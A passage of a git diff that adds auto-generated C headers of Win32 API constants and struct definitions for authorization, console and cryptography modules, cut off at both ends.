AUTHZ_SECURITY_ATTRIBUTE_OPERATION_NONE 0 +#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_REPLACE_ALL 1 +#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_ADD 2 +#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_DELETE 3 +#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_REPLACE 4 +#define APT_None 1 +#define APT_String 2 +#define APT_Ulong 3 +#define APT_Pointer 4 +#define APT_Sid 5 +#define APT_LogonId 6 +#define APT_ObjectTypeList 7 +#define APT_Luid 8 +#define APT_Guid 9 +#define APT_Time 10 +#define APT_Int64 11 +#define APT_IpAddress 12 +#define APT_LogonIdWithSid 13 +#define AUTHZ_SID_OPERATION_NONE 0 +#define AUTHZ_SID_OPERATION_REPLACE_ALL 1 +#define AUTHZ_SID_OPERATION_ADD 2 +#define AUTHZ_SID_OPERATION_DELETE 3 +#define AUTHZ_SID_OPERATION_REPLACE 4 + +// SKIPPED struct AzBizRuleContext: no representable fields +typedef struct _INHERITED_FROMW { + int GenerationGap; + void* AncestorName; +} INHERITED_FROMW; + +typedef struct _AUDIT_IP_ADDRESS { + unsigned char pIpAddress[128]; +} AUDIT_IP_ADDRESS; + +typedef struct _TRUSTEE_ACCESSA { + void* lpProperty; + unsigned int Access; + unsigned int fAccessFlags; + unsigned int fReturnedAccess; +} TRUSTEE_ACCESSA; + +typedef struct _ACTRL_ACCESS_ENTRY_LISTA { + unsigned int cEntries; + void* pAccessList; +} ACTRL_ACCESS_ENTRY_LISTA; + +typedef struct _ACTRL_ACCESSA { + unsigned int cEntries; + void* pPropertyAccessList; +} ACTRL_ACCESSA; + +typedef struct _ACTRL_ACCESS_INFOW { + unsigned int fAccessPermission; + void* lpAccessPermissionName; +} ACTRL_ACCESS_INFOW; + +typedef struct _AUDIT_PARAM { + void* Type; + unsigned int Length; + unsigned int Flags; + void* Anonymous1; + void* Anonymous2; +} AUDIT_PARAM; + +typedef struct _ACTRL_ACCESS_ENTRYA { + void* Trustee; + void* fAccessFlags; + unsigned int Access; + unsigned int ProvSpecificAccess; + void* Inheritance; + void* lpInheritProperty; +} ACTRL_ACCESS_ENTRYA; + +typedef struct _AUTHZ_CAP_CHANGE_SUBSCRIPTION_HANDLE { + void* Value; +} AUTHZ_CAP_CHANGE_SUBSCRIPTION_HANDLE; + +typedef struct _AUTHZ_RESOURCE_MANAGER_HANDLE { + void* Value; +} AUTHZ_RESOURCE_MANAGER_HANDLE; + +typedef struct _AUTHZ_ACCESS_REPLY { + unsigned int ResultListLength; + void* GrantedAccessMask; + void* SaclEvaluationResults; + void* Error; +} AUTHZ_ACCESS_REPLY; + +typedef struct _ACTRL_PROPERTY_ENTRYA { + void* lpProperty; + void* pAccessEntryList; + unsigned int fListFlags; +} ACTRL_PROPERTY_ENTRYA; + +typedef struct _AUTHZ_AUDIT_EVENT_TYPE_LEGACY { + unsigned short CategoryId; + unsigned short AuditId; + unsigned short ParameterCount; +} AUTHZ_AUDIT_EVENT_TYPE_LEGACY; + +// SKIPPED struct AzAuthorizationStore: no representable fields +typedef struct _AUTHZ_SECURITY_ATTRIBUTE_V1 { + void* pName; + unsigned short ValueType; + unsigned short Reserved; + void* Flags; + unsigned int ValueCount; + void* Values; +} AUTHZ_SECURITY_ATTRIBUTE_V1; + +typedef struct _AUTHZ_SECURITY_EVENT_PROVIDER_HANDLE { + void* Value; +} AUTHZ_SECURITY_EVENT_PROVIDER_HANDLE; + +typedef struct _TRUSTEE_W { + void* pMultipleTrustee; + void* MultipleTrusteeOperation; + void* TrusteeForm; + void* TrusteeType; + void* ptstrName; +} TRUSTEE_W; + +typedef struct _AUTHZ_SECURITY_ATTRIBUTE_FQBN_VALUE { + unsigned long long Version; + void* pName; +} AUTHZ_SECURITY_ATTRIBUTE_FQBN_VALUE; + +typedef struct _AUTHZ_REGISTRATION_OBJECT_TYPE_NAME_OFFSET { + void* szObjectTypeName; + unsigned int dwOffset; +} AUTHZ_REGISTRATION_OBJECT_TYPE_NAME_OFFSET; + +typedef struct _INHERITED_FROMA { + int GenerationGap; + void* AncestorName; +} INHERITED_FROMA; + +typedef struct _ACTRL_OVERLAPPED { + void* Anonymous; + unsigned int Reserved2; + void* hEvent; +} ACTRL_OVERLAPPED; + +typedef struct _AUTHZ_AUDIT_EVENT_HANDLE { + void* Value; +} AUTHZ_AUDIT_EVENT_HANDLE; + +typedef struct _EXPLICIT_ACCESS_A { + unsigned int grfAccessPermissions; + void* grfAccessMode; + void* grfInheritance; + void* Trustee; +} EXPLICIT_ACCESS_A; + +typedef struct _AUTHZ_CLIENT_CONTEXT_HANDLE { + void* Value; +} AUTHZ_CLIENT_CONTEXT_HANDLE; + +typedef struct _OBJECTS_AND_SID { + void* ObjectsPresent; + void* ObjectTypeGuid; + void* InheritedObjectTypeGuid; + void* pSid; +} OBJECTS_AND_SID; + +typedef struct _AUTHZ_ACCESS_CHECK_RESULTS_HANDLE { + void* Value; +} AUTHZ_ACCESS_CHECK_RESULTS_HANDLE; + +typedef struct _AUTHZ_INIT_INFO { + unsigned short version; + void* szResourceManagerName; + void* pfnDynamicAccessCheck; + void* pfnComputeDynamicGroups; + void* pfnFreeDynamicGroups; + void* pfnGetCentralAccessPolicy; + void* pfnFreeCentralAccessPolicy; +} AUTHZ_INIT_INFO; + +typedef struct _ACTRL_ACCESS_ENTRY_LISTW { + unsigned int cEntries; + void* pAccessList; +} ACTRL_ACCESS_ENTRY_LISTW; + +typedef struct _AUDIT_OBJECT_TYPES { + unsigned short Count; + unsigned short Flags; + void* pObjectTypes; +} AUDIT_OBJECT_TYPES; + +typedef struct _ACTRL_ACCESS_INFOA { + unsigned int fAccessPermission; + void* lpAccessPermissionName; +} ACTRL_ACCESS_INFOA; + +typedef struct _ACTRL_CONTROL_INFOW { + void* lpControlId; + void* lpControlName; +} ACTRL_CONTROL_INFOW; + +typedef struct _ACTRL_CONTROL_INFOA { + void* lpControlId; + void* lpControlName; +} ACTRL_CONTROL_INFOA; + +typedef struct _ACTRL_ACCESSW { + unsigned int cEntries; + void* pPropertyAccessList; +} ACTRL_ACCESSW; + +typedef struct _AUTHZ_AUDIT_EVENT_TYPE_UNION { + void* Legacy; +} AUTHZ_AUDIT_EVENT_TYPE_UNION; + +typedef struct _AUTHZ_AUDIT_EVENT_TYPE_OLD { + unsigned int Version; + unsigned int dwFlags; + int RefCount; + unsigned long long hAudit; + void* LinkId; + void* u; +} AUTHZ_AUDIT_EVENT_TYPE_OLD; + +typedef struct _EXPLICIT_ACCESS_W { + unsigned int grfAccessPermissions; + void* grfAccessMode; + void* grfInheritance; + void* Trustee; +} EXPLICIT_ACCESS_W; + +typedef struct _FN_OBJECT_MGR_FUNCTS { + unsigned int Placeholder; +} FN_OBJECT_MGR_FUNCTS; + +typedef struct _AUTHZ_SECURITY_ATTRIBUTES_INFORMATION { + unsigned short Version; + unsigned short Reserved; + unsigned int AttributeCount; + void* Attribute; +} AUTHZ_SECURITY_ATTRIBUTES_INFORMATION; + +typedef struct _TRUSTEE_A { + void* pMultipleTrustee; + void* MultipleTrusteeOperation; + void* TrusteeForm; + void* TrusteeType; + void* ptstrName; +} TRUSTEE_A; + +typedef struct _OBJECTS_AND_NAME_W { + void* ObjectsPresent; + void* ObjectType; + void* ObjectTypeName; + void* InheritedObjectTypeName; + void* ptstrName; +} OBJECTS_AND_NAME_W; + +typedef struct _AUTHZ_ACCESS_REQUEST { + unsigned int DesiredAccess; + void* PrincipalSelfSid; + void* ObjectTypeList; + unsigned int ObjectTypeListLength; + void* OptionalArguments; +} AUTHZ_ACCESS_REQUEST; + +typedef struct _OBJECTS_AND_NAME_A { + void* ObjectsPresent; + void* ObjectType; + void* ObjectTypeName; + void* InheritedObjectTypeName; + void* ptstrName; +} OBJECTS_AND_NAME_A; + +typedef struct _AUDIT_OBJECT_TYPE { + void* ObjectType; + unsigned short Flags; + unsigned short Level; + unsigned int AccessMask; +} AUDIT_OBJECT_TYPE; + +typedef struct _AUTHZ_AUDIT_EVENT_TYPE_HANDLE { + void* Value; +} AUTHZ_AUDIT_EVENT_TYPE_HANDLE; + +typedef struct _AUTHZ_RPC_INIT_INFO_CLIENT { + unsigned short version; + void* ObjectUuid; + void* ProtSeq; + void* NetworkAddr; + void* Endpoint; + void* Options; + void* ServerSpn; +} AUTHZ_RPC_INIT_INFO_CLIENT; + +typedef struct _AUTHZ_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE { + void* pValue; + unsigned int ValueLength; +} AUTHZ_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; + +// SKIPPED struct AzPrincipalLocator: no representable fields +typedef struct _TRUSTEE_ACCESSW { + void* lpProperty; + unsigned int Access; + unsigned int fAccessFlags; + unsigned int fReturnedAccess; +} TRUSTEE_ACCESSW; + +typedef struct _AUDIT_PARAMS { + unsigned int Length; + unsigned int Flags; + unsigned short Count; + void* Parameters; +} AUDIT_PARAMS; + +typedef struct _ACTRL_PROPERTY_ENTRYW { + void* lpProperty; + void* pAccessEntryList; + unsigned int fListFlags; +} ACTRL_PROPERTY_ENTRYW; + +typedef struct _AUTHZ_SOURCE_SCHEMA_REGISTRATION { + unsigned int dwFlags; + void* szEventSourceName; + void* szEventMessageFile; + void* szEventSourceXmlSchemaFile; + void* szEventAccessStringsFile; + void* szExecutableImagePath; + void* Anonymous; + unsigned int dwObjectTypeNameCount; + void* ObjectTypeNames[1]; +} AUTHZ_SOURCE_SCHEMA_REGISTRATION; + +typedef struct _ACTRL_ACCESS_ENTRYW { + void* Trustee; + void* fAccessFlags; + unsigned int Access; + unsigned int ProvSpecificAccess; + void* Inheritance; + void* lpInheritProperty; +} ACTRL_ACCESS_ENTRYW; + diff --git a/stdlib/win32/console.h b/stdlib/win32/console.h new file mode 100644 index 0000000..924c6c6 --- /dev/null +++ b/stdlib/win32/console.h @@ -0,0 +1,331 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Console`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define CONSOLE_TEXTMODE_BUFFER 0x1 +#define CONSOLE_SELECTION_INVERTED 0x10 +#define VDM_HIDE_WINDOW 0x1 +#define VDM_IS_ICONIC 0x2 +#define VDM_CLIENT_RECT 0x3 +#define VDM_CLIENT_TO_SCREEN 0x4 +#define VDM_SCREEN_TO_CLIENT 0x5 +#define VDM_IS_HIDDEN 0x6 +#define VDM_FULLSCREEN_NOPAINT 0x7 +#define VDM_SET_VIDEO_MODE 0x8 +#define CONSOLE_UNREGISTER_VDM 0x0 +#define CONSOLE_REGISTER_VDM 0x1 +#define CONSOLE_REGISTER_WOW 0x2 +#define CONSOLE_NOSHORTCUTKEY 0x0 +#define CONSOLE_ALTTAB 0x1 +#define CONSOLE_ALTESC 0x2 +#define CONSOLE_ALTSPACE 0x4 +#define CONSOLE_ALTENTER 0x8 +#define CONSOLE_ALTPRTSC 0x10 +#define CONSOLE_PRTSC 0x20 +#define CONSOLE_CTRLESC 0x40 +#define CONSOLE_MODIFIER_SHIFT 0x3 +#define CONSOLE_MODIFIER_CONTROL 0x4 +#define CONSOLE_MODIFIER_ALT 0x8 +#define CHAR_TYPE_SBCS 0x0 +#define CHAR_TYPE_LEADING 0x2 +#define CHAR_TYPE_TRAILING 0x3 +#define CONSOLE_HANDLE_SIGNATURE 0x3 +#define CONSOLE_HANDLE_NEVERSET 0x10000000 +// SKIPPED const CONSOLE_INPUT_STRING: non-integer constant +// SKIPPED const CONSOLE_OUTPUT_STRING: non-integer constant +// SKIPPED const CONSOLE_GENERIC: non-integer constant +#define PID_CONSOLE_FORCEV2 0x1 +#define PID_CONSOLE_WRAPTEXT 0x2 +#define PID_CONSOLE_FILTERONPASTE 0x3 +#define PID_CONSOLE_CTRLKEYSDISABLED 0x4 +#define PID_CONSOLE_LINESELECTION 0x5 +#define PID_CONSOLE_WINDOWTRANSPARENCY 0x6 +#define PID_CONSOLE_WINDOWMAXIMIZED 0x7 +#define PID_CONSOLE_CURSOR_TYPE 0x8 +#define PID_CONSOLE_CURSOR_COLOR 0x9 +#define PID_CONSOLE_INTERCEPT_COPY_PASTE 0xa +#define PID_CONSOLE_DEFAULTFOREGROUND 0xb +#define PID_CONSOLE_DEFAULTBACKGROUND 0xc +#define PID_CONSOLE_TERMINALSCROLLING 0xd +#define ATTACH_PARENT_PROCESS 0xffffffff +#define CTRL_C_EVENT 0x0 +#define CTRL_BREAK_EVENT 0x1 +#define CTRL_CLOSE_EVENT 0x2 +#define CTRL_LOGOFF_EVENT 0x5 +#define CTRL_SHUTDOWN_EVENT 0x6 +#define PSEUDOCONSOLE_INHERIT_CURSOR 0x1 +#define CONSOLE_NO_SELECTION 0x0 +#define CONSOLE_SELECTION_IN_PROGRESS 0x1 +#define CONSOLE_SELECTION_NOT_EMPTY 0x2 +#define CONSOLE_MOUSE_SELECTION 0x4 +#define CONSOLE_MOUSE_DOWN 0x8 +#define HISTORY_NO_DUP_FLAG 0x1 +#define CONSOLE_FULLSCREEN 0x1 +#define CONSOLE_FULLSCREEN_HARDWARE 0x2 +#define CONSOLE_FULLSCREEN_MODE 0x1 +#define CONSOLE_WINDOWED_MODE 0x2 +#define RIGHT_ALT_PRESSED 0x1 +#define LEFT_ALT_PRESSED 0x2 +#define RIGHT_CTRL_PRESSED 0x4 +#define LEFT_CTRL_PRESSED 0x8 +#define SHIFT_PRESSED 0x10 +#define NUMLOCK_ON 0x20 +#define SCROLLLOCK_ON 0x40 +#define CAPSLOCK_ON 0x80 +#define ENHANCED_KEY 0x100 +#define NLS_DBCSCHAR 0x10000 +#define NLS_ALPHANUMERIC 0x0 +#define NLS_KATAKANA 0x20000 +#define NLS_HIRAGANA 0x40000 +#define NLS_ROMAN 0x400000 +#define NLS_IME_CONVERSION 0x800000 +#define ALTNUMPAD_BIT 0x4000000 +#define NLS_IME_DISABLE 0x20000000 +#define FROM_LEFT_1ST_BUTTON_PRESSED 0x1 +#define RIGHTMOST_BUTTON_PRESSED 0x2 +#define FROM_LEFT_2ND_BUTTON_PRESSED 0x4 +#define FROM_LEFT_3RD_BUTTON_PRESSED 0x8 +#define FROM_LEFT_4TH_BUTTON_PRESSED 0x10 +#define MOUSE_MOVED 0x1 +#define DOUBLE_CLICK 0x2 +#define MOUSE_WHEELED 0x4 +#define MOUSE_HWHEELED 0x8 +#define KEY_EVENT 0x1 +#define MOUSE_EVENT 0x2 +#define WINDOW_BUFFER_SIZE_EVENT 0x4 +#define MENU_EVENT 0x8 +#define FOCUS_EVENT 0x10 +#define ALLOC_CONSOLE_RESULT_NO_CONSOLE 0 +#define ALLOC_CONSOLE_RESULT_NEW_CONSOLE 1 +#define ALLOC_CONSOLE_RESULT_EXISTING_CONSOLE 2 +#define ENABLE_PROCESSED_INPUT 0x1 +#define ENABLE_LINE_INPUT 0x2 +#define ENABLE_ECHO_INPUT 0x4 +#define ENABLE_WINDOW_INPUT 0x8 +#define ENABLE_MOUSE_INPUT 0x10 +#define ENABLE_INSERT_MODE 0x20 +#define ENABLE_QUICK_EDIT_MODE 0x40 +#define ENABLE_EXTENDED_FLAGS 0x80 +#define ENABLE_AUTO_POSITION 0x100 +#define ENABLE_VIRTUAL_TERMINAL_INPUT 0x200 +#define ENABLE_PROCESSED_OUTPUT 0x1 +#define ENABLE_WRAP_AT_EOL_OUTPUT 0x2 +#define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x4 +#define DISABLE_NEWLINE_AUTO_RETURN 0x8 +#define ENABLE_LVB_GRID_WORLDWIDE 0x10 +#define FOREGROUND_BLUE 0x1 +#define FOREGROUND_GREEN 0x2 +#define FOREGROUND_RED 0x4 +#define FOREGROUND_INTENSITY 0x8 +#define BACKGROUND_BLUE 0x10 +#define BACKGROUND_GREEN 0x20 +#define BACKGROUND_RED 0x40 +#define BACKGROUND_INTENSITY 0x80 +#define COMMON_LVB_LEADING_BYTE 0x100 +#define COMMON_LVB_TRAILING_BYTE 0x200 +#define COMMON_LVB_GRID_HORIZONTAL 0x400 +#define COMMON_LVB_GRID_LVERTICAL 0x800 +#define COMMON_LVB_GRID_RVERTICAL 0x1000 +#define COMMON_LVB_REVERSE_VIDEO 0x4000 +#define COMMON_LVB_UNDERSCORE 0x8000 +#define COMMON_LVB_SBCSDBCS 0x300 +#define STD_INPUT_HANDLE 0xfffffff6 +#define STD_OUTPUT_HANDLE 0xfffffff5 +#define STD_ERROR_HANDLE 0xfffffff4 +#define Reserved1 0 +#define ConsoleNotifyConsoleApplication 1 +#define Reserved2 2 +#define ConsoleSetCaretInfo 3 +#define Reserved3 4 +#define ConsoleSetForeground 5 +#define ConsoleSetWindowOwner 6 +#define ConsoleEndTask 7 +#define ALLOC_CONSOLE_MODE_DEFAULT 0 +#define ALLOC_CONSOLE_MODE_NEW_WINDOW 1 +#define ALLOC_CONSOLE_MODE_NO_WINDOW 2 + +typedef struct _ALLOC_CONSOLE_OPTIONS { + void* mode; + BOOL useShowWindow; + unsigned short showWindow; +} ALLOC_CONSOLE_OPTIONS; + +typedef struct _CONSOLE_HISTORY_INFO { + unsigned int cbSize; + unsigned int HistoryBufferSize; + unsigned int NumberOfHistoryBuffers; + unsigned int dwFlags; +} CONSOLE_HISTORY_INFO; + +typedef struct _CONSOLE_CARET_INFO { + void* hwnd; + void* rc; +} CONSOLE_CARET_INFO; + +typedef struct _HPCON { + long long Value; +} HPCON; + +typedef struct _KEY_EVENT_RECORD { + BOOL bKeyDown; + unsigned short wRepeatCount; + unsigned short wVirtualKeyCode; + unsigned short wVirtualScanCode; + void* uChar; + unsigned int dwControlKeyState; +} KEY_EVENT_RECORD; + +typedef struct _CONSOLE_SCREEN_BUFFER_INFO { + void* dwSize; + void* dwCursorPosition; + void* wAttributes; + void* srWindow; + void* dwMaximumWindowSize; +} CONSOLE_SCREEN_BUFFER_INFO; + +typedef struct _CONSOLE_SCREEN_BUFFER_INFOEX { + unsigned int cbSize; + void* dwSize; + void* dwCursorPosition; + void* wAttributes; + void* srWindow; + void* dwMaximumWindowSize; + unsigned short wPopupAttributes; + BOOL bFullscreenSupported; + void* ColorTable[16]; +} CONSOLE_SCREEN_BUFFER_INFOEX; + +typedef struct _INPUT_RECORD { + unsigned short EventType; + void* Event; +} INPUT_RECORD; + +typedef struct _ExtKeySubst { + unsigned short wMod; + unsigned short wVirKey; + unsigned short wUnicodeChar; +} ExtKeySubst; + +typedef struct _CONSOLEWINDOWOWNER { + void* hwnd; + unsigned int ProcessId; + unsigned int ThreadId; +} CONSOLEWINDOWOWNER; + +typedef struct _SMALL_RECT { + short Left; + short Top; + short Right; + short Bottom; +} SMALL_RECT; + +typedef struct _MENU_EVENT_RECORD { + unsigned int dwCommandId; +} MENU_EVENT_RECORD; + +typedef struct _CONSOLE_FONT_INFO { + unsigned int nFont; + void* dwFontSize; +} CONSOLE_FONT_INFO; + +typedef struct _CONSOLE_READCONSOLE_CONTROL { + unsigned int nLength; + unsigned int nInitialChars; + unsigned int dwCtrlWakeupMask; + unsigned int dwControlKeyState; +} CONSOLE_READCONSOLE_CONTROL; + +typedef struct _CONSOLE_CURSOR_INFO { + unsigned int dwSize; + BOOL bVisible; +} CONSOLE_CURSOR_INFO; + +typedef struct _CONSOLE_SELECTION_INFO { + unsigned int dwFlags; + void* dwSelectionAnchor; + void* srSelection; +} CONSOLE_SELECTION_INFO; + +typedef struct _CONSOLESETFOREGROUND { + void* hProcess; + BOOL bForeground; +} CONSOLESETFOREGROUND; + +typedef struct _CONSOLE_FONT_INFOEX { + unsigned int cbSize; + unsigned int nFont; + void* dwFontSize; + unsigned int FontFamily; + unsigned int FontWeight; + unsigned short FaceName[32]; +} CONSOLE_FONT_INFOEX; + +typedef struct _APPKEY { + unsigned short Modifier; + unsigned short ScanCode; +} APPKEY; + +typedef struct _CONSOLEENDTASK { + void* ProcessId; + void* hwnd; + unsigned int ConsoleEventCode; + unsigned int ConsoleFlags; +} CONSOLEENDTASK; + +typedef struct _ExtKeyDef { + void* keys[3]; +} ExtKeyDef; + +typedef struct _MOUSE_EVENT_RECORD { + void* dwMousePosition; + unsigned int dwButtonState; + unsigned int dwControlKeyState; + unsigned int dwEventFlags; +} MOUSE_EVENT_RECORD; + +typedef struct _CHAR_INFO { + void* Char; + unsigned short Attributes; +} CHAR_INFO; + +typedef struct _CONSOLE_GRAPHICS_BUFFER_INFO { + unsigned int dwBitMapInfoLength; + void* lpBitMapInfo; + unsigned int dwUsage; + void* hMutex; + void* lpBitMap; +} CONSOLE_GRAPHICS_BUFFER_INFO; + +typedef struct _FOCUS_EVENT_RECORD { + BOOL bSetFocus; +} FOCUS_EVENT_RECORD; + +typedef struct _WINDOW_BUFFER_SIZE_RECORD { + void* dwSize; +} WINDOW_BUFFER_SIZE_RECORD; + +typedef struct _CONSOLE_PROCESS_INFO { + unsigned int dwProcessID; + unsigned int dwFlags; +} CONSOLE_PROCESS_INFO; + +typedef struct _COORD { + short X; + short Y; +} COORD; + +typedef struct _ExtKeyDefBuf { + unsigned int dwVersion; + unsigned int dwCheckSum; + void* table[26]; +} ExtKeyDefBuf; + diff --git a/stdlib/win32/cryptography.h b/stdlib/win32/cryptography.h new file mode 100644 index 0000000..b2b1128 --- /dev/null +++ b/stdlib/win32/cryptography.h @@ -0,0 +1,7399 @@ +// Generated by entc-win32gen from `Windows.Win32.Security.Cryptography`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define CERT_SYSTEM_STORE_CURRENT_USER 0x10000 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE 0x20000 +#define CERT_COMPARE_SHIFT 16 +#define BCRYPT_OBJECT_ALIGNMENT 0x10 +// SKIPPED const BCRYPT_KDF_HASH: non-integer constant +// SKIPPED const BCRYPT_KDF_HMAC: non-integer constant +// SKIPPED const BCRYPT_KDF_TLS_PRF: non-integer constant +// SKIPPED const BCRYPT_KDF_SP80056A_CONCAT: non-integer constant +// SKIPPED const BCRYPT_KDF_RAW_SECRET: non-integer constant +// SKIPPED const BCRYPT_KDF_HKDF: non-integer constant +#define KDF_HASH_ALGORITHM 0x0 +#define KDF_SECRET_PREPEND 0x1 +#define KDF_SECRET_APPEND 0x2 +#define KDF_HMAC_KEY 0x3 +#define KDF_TLS_PRF_LABEL 0x4 +#define KDF_TLS_PRF_SEED 0x5 +#define KDF_SECRET_HANDLE 0x6 +#define KDF_TLS_PRF_PROTOCOL 0x7 +#define KDF_ALGORITHMID 0x8 +#define KDF_PARTYUINFO 0x9 +#define KDF_PARTYVINFO 0xa +#define KDF_SUPPPUBINFO 0xb +#define KDF_SUPPPRIVINFO 0xc +#define KDF_LABEL 0xd +#define KDF_CONTEXT 0xe +#define KDF_SALT 0xf +#define KDF_ITERATION_COUNT 0x10 +#define KDF_GENERIC_PARAMETER 0x11 +#define KDF_KEYBITLENGTH 0x12 +#define KDF_HKDF_SALT 0x13 +#define KDF_HKDF_INFO 0x14 +#define KDF_USE_SECRET_AS_HMAC_KEY_FLAG 0x1 +#define BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO_VERSION 0x1 +#define BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG 0x1 +#define BCRYPT_AUTH_MODE_IN_PROGRESS_FLAG 0x2 +// SKIPPED const BCRYPT_OPAQUE_KEY_BLOB: non-integer constant +// SKIPPED const BCRYPT_KEY_DATA_BLOB: non-integer constant +// SKIPPED const BCRYPT_AES_WRAP_KEY_BLOB: non-integer constant +// SKIPPED const BCRYPT_PKCS11_RSA_AES_WRAP_KEY_BLOB: non-integer constant +#define BCRYPT_PKCS11_RSA_AES_WRAP_BLOB_MAGIC 0x57504152 +// SKIPPED const BCRYPT_OBJECT_LENGTH: non-integer constant +// SKIPPED const BCRYPT_ALGORITHM_NAME: non-integer constant +// SKIPPED const BCRYPT_PROVIDER_HANDLE: non-integer constant +// SKIPPED const BCRYPT_CHAINING_MODE: non-integer constant +// SKIPPED const BCRYPT_BLOCK_LENGTH: non-integer constant +// SKIPPED const BCRYPT_KEY_LENGTH: non-integer constant +// SKIPPED const BCRYPT_KEY_OBJECT_LENGTH: non-integer constant +// SKIPPED const BCRYPT_KEY_STRENGTH: non-integer constant +// SKIPPED const BCRYPT_KEY_LENGTHS: non-integer constant +// SKIPPED const BCRYPT_BLOCK_SIZE_LIST: non-integer constant +// SKIPPED const BCRYPT_EFFECTIVE_KEY_LENGTH: non-integer constant +// SKIPPED const BCRYPT_HASH_LENGTH: non-integer constant +// SKIPPED const BCRYPT_HASH_OID_LIST: non-integer constant +// SKIPPED const BCRYPT_PADDING_SCHEMES: non-integer constant +// SKIPPED const BCRYPT_SIGNATURE_LENGTH: non-integer constant +// SKIPPED const BCRYPT_HASH_BLOCK_LENGTH: non-integer constant +// SKIPPED const BCRYPT_AUTH_TAG_LENGTH: non-integer constant +// SKIPPED const BCRYPT_FUNCTION_NAME_STRING: non-integer constant +// SKIPPED const BCRYPT_CUSTOMIZATION_STRING: non-integer constant +// SKIPPED const BCRYPT_PRIMITIVE_TYPE: non-integer constant +// SKIPPED const BCRYPT_IS_KEYED_HASH: non-integer constant +// SKIPPED const BCRYPT_IS_REUSABLE_HASH: non-integer constant +// SKIPPED const BCRYPT_MESSAGE_BLOCK_LENGTH: non-integer constant +// SKIPPED const BCRYPT_PUBLIC_KEY_LENGTH: non-integer constant +// SKIPPED const BCRYPT_PCP_PLATFORM_TYPE_PROPERTY: non-integer constant +// SKIPPED const BCRYPT_PCP_PROVIDER_VERSION_PROPERTY: non-integer constant +// SKIPPED const BCRYPT_MULTI_OBJECT_LENGTH: non-integer constant +// SKIPPED const BCRYPT_IS_IFX_TPM_WEAK_KEY: non-integer constant +// SKIPPED const BCRYPT_HKDF_HASH_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_HKDF_SALT_AND_FINALIZE: non-integer constant +// SKIPPED const BCRYPT_HKDF_PRK_AND_FINALIZE: non-integer constant +// SKIPPED const BCRYPT_KEM_SHARED_SECRET_LENGTH: non-integer constant +// SKIPPED const BCRYPT_KEM_CIPHERTEXT_LENGTH: non-integer constant +// SKIPPED const BCRYPT_PARAMETER_SET_NAME: non-integer constant +// SKIPPED const BCRYPT_INITIALIZATION_VECTOR: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_NA: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_CBC: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_ECB: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_CFB: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_CCM: non-integer constant +// SKIPPED const BCRYPT_CHAIN_MODE_GCM: non-integer constant +#define BCRYPT_SUPPORTED_PAD_ROUTER 0x1 +#define BCRYPT_SUPPORTED_PAD_PKCS1_ENC 0x2 +#define BCRYPT_SUPPORTED_PAD_PKCS1_SIG 0x4 +#define BCRYPT_SUPPORTED_PAD_OAEP 0x8 +#define BCRYPT_SUPPORTED_PAD_PSS 0x10 +#define BCRYPT_GENERATE_IV 0x20 +#define BCRYPT_PAD_PKCS1_OPTIONAL_HASH_OID 0x10 +#define BCRYPT_PAD_PQDSA 0x20 +#define BCRYPT_MLDSA_EXTERNAL_MU 0x40 +#define BCRYPTBUFFER_VERSION 0x0 +// SKIPPED const BCRYPT_PUBLIC_KEY_BLOB: non-integer constant +// SKIPPED const BCRYPT_PRIVATE_KEY_BLOB: non-integer constant +// SKIPPED const BCRYPT_RSAPUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_RSAPRIVATE_BLOB: non-integer constant +// SKIPPED const LEGACY_RSAPUBLIC_BLOB: non-integer constant +// SKIPPED const LEGACY_RSAPRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_RSAFULLPRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_GLOBAL_PARAMETERS: non-integer constant +// SKIPPED const BCRYPT_PRIVATE_KEY: non-integer constant +// SKIPPED const BCRYPT_ECCPUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_ECCPRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_ECCFULLPUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_ECCFULLPRIVATE_BLOB: non-integer constant +// SKIPPED const SSL_ECCPUBLIC_BLOB: non-integer constant +// SKIPPED const TLS_13_PRE_SHARED_KEY: non-integer constant +#define BCRYPT_ECDH_PUBLIC_P256_MAGIC 0x314b4345 +#define BCRYPT_ECDH_PRIVATE_P256_MAGIC 0x324b4345 +#define BCRYPT_ECDH_PUBLIC_P384_MAGIC 0x334b4345 +#define BCRYPT_ECDH_PRIVATE_P384_MAGIC 0x344b4345 +#define BCRYPT_ECDH_PUBLIC_P521_MAGIC 0x354b4345 +#define BCRYPT_ECDH_PRIVATE_P521_MAGIC 0x364b4345 +#define BCRYPT_ECDH_PUBLIC_GENERIC_MAGIC 0x504b4345 +#define BCRYPT_ECDH_PRIVATE_GENERIC_MAGIC 0x564b4345 +#define BCRYPT_ECDSA_PUBLIC_P256_MAGIC 0x31534345 +#define BCRYPT_ECDSA_PRIVATE_P256_MAGIC 0x32534345 +#define BCRYPT_ECDSA_PUBLIC_P384_MAGIC 0x33534345 +#define BCRYPT_ECDSA_PRIVATE_P384_MAGIC 0x34534345 +#define 